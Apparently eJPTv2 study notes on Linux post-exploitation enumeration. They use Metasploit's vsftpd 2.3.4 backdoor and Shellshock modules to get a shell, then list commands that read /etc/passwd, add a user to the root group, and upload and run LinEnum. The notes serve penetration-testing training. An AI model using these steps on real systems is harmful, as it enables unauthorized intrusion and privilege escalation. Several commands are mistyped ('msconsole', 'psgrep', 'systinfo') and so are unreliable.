> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/linux-local-enumeration.md).

# Linux Local Enumeration

### Enumerating System Information

* After gaining initial access to a target system, it is always important to learn more about the system like, what OS is running as well as the OS version. This information is very useful as it gives us an idea of what we can do and what type of exploits we can run.
* What are we looking for?
  * Hostname
  * Distribution & distribution release version
  * Kernel version & architecture
  * CPU information
  * Disk information & mounted drives
  * Installed packages/software

DEMO

```
nmap -sV <IP>
```

```
searchsploit vsftpd
```

```
msfconsole -q
> search vsftpd
> setg RHOSTS
> use exploit/unix/ftp/vsftpd_234_backdoor
> show options
> exploit


# ls 
# /bin/bash -i 
# whoami

> sessions 
> sessions -u 1
> sessions 2
>>>> sysinfo
>>>> getuid
>>>> shell

/bin/bash -i
# cd /root
# hostname
# cat /etc/issue
# cat /etc/*release
# uname -a 
# uname -r 
# env 
# lscpu [display the cpu info]
# free -h 
# df -h [sizes]
# df -ht ext4
# lsblk | grep sd
# dpkg -l 
```

***

### Enumerating Users & Groups

* After gaining initial access to a target system, it is always important to learn more about the system like, what user account you have access to and other user accounts on the system.
* What are we looking for ?
  * Current user & privileges
  * Other users on the system
  * Groups3

DEMO&#x20;

* exploit vsftpd 2.3.4

```
msfconsole -q 
> setg RHOSTS <IP>
.
. after exploitaiton
>>>> systinfo
>>>> getuid
>>>> shell

# /bin/bash -i 
# whoami
# groups <user>
# cat /etc/passwd
# cat /etc/passwd | grep -v /nologin
# groups
# usermod -aG root <user>
# last
# who
# lastlog
```

***

### Enumerating Processes & Cron Jobs

* After gaining initial access to a target system, it is always important to learn more about the system like, what processes, services and scheduled tasks are currently running.
* What are we looking for ?
  * Running services
  * Cron Jobs&#x20;

DEMO

* Exploit vsftpd 2.3.4

```
msfconsole -q
> setg RHOSTS <IP>
.
. 
> sessions -u 1
> sessions 2
>>>> ps
>>>> psgrep vsftpd
>>>> shell 

# /bin/bash -i 

> ps
> ps aux
> ps aux | msconsole 
> ps aux | grep root
> top

>>>> shell
# crontab -l 
# ls -al /etc/cron*
# cat /etc/cron*
# s
```

***

### Automating Linux Local Enumeration

* In addition to performing local enumeration manually, we can also auto mate the process with the help of a few scripts and MSF modules.
* While local enumeration techniques/commands are important to know, as a penetration tester, you will need to be time efficient. As a result, you will need to learn how to utilize various automated enumeration scripts.
* In addition to automating the process of enumerating information like system information, users & groups etc, these automated enumeration scripts will also provide you with additional information regarding the target system like, privilege escalation vulnerabilities, locally stored passwords etc.&#x20;

Linux Local Enum Scripts

* LinEnum - LinEnum is a simple bash script that automates common Linux local enumeration checks in addition to identifying privilege escalation vulnerabilities.
* GitHub Repo: <https://github.com/rebootuser/LinEnum>

{% embed url="<https://github.com/rebootuser/LinEnum>" %}

DEMO

```
nmap -sV <IP>
```

* open the website in the browser.
* check the page sources you will find it uses CGI script from server.

```
msfconsole -q
> search shellshock
> use exploit/multi/http/apache_mod_cgi_bash_env_exec
> set RHOSTS <IP>
> set TARGETURI /gettime.cgi
> exploit
>>>> sysinfo 
>>>> background
> search enum_configs
> use post/linux/gather/enum_configs 
> set Session 1
> run 
> use post/linux/gather/enum_network
> set SESSION 1
> run
> use post/linux/gather/enum_system
> set Session 1
> search checkvm
> use post/linux/gather/checkvm 
> set SESSION 1
> run
>>>> cd /tmp
>>>> upload /root/Desktop/LinEnum.sh
>>>> shell

# whoami
# id
# mv LinEnum.sh /tmp
# chmod +x LinEnum.sh
# ./LinEnum.sh
```

* post/linux/gather/enum\_configs - enumerates the configuration files&#x20;
* post/linux/gather/enum\_network - enumerates the network files
* post/linux/gather/enum\_system
* post/linux/gather/checkvm
*

&#x20;Transfer the files to INE server file&#x20;

copy the raw content of the LinEnum file from github

ctrl + shift + alt to open clipboard and paste the content ther&#x20;

open text editor and paste it there again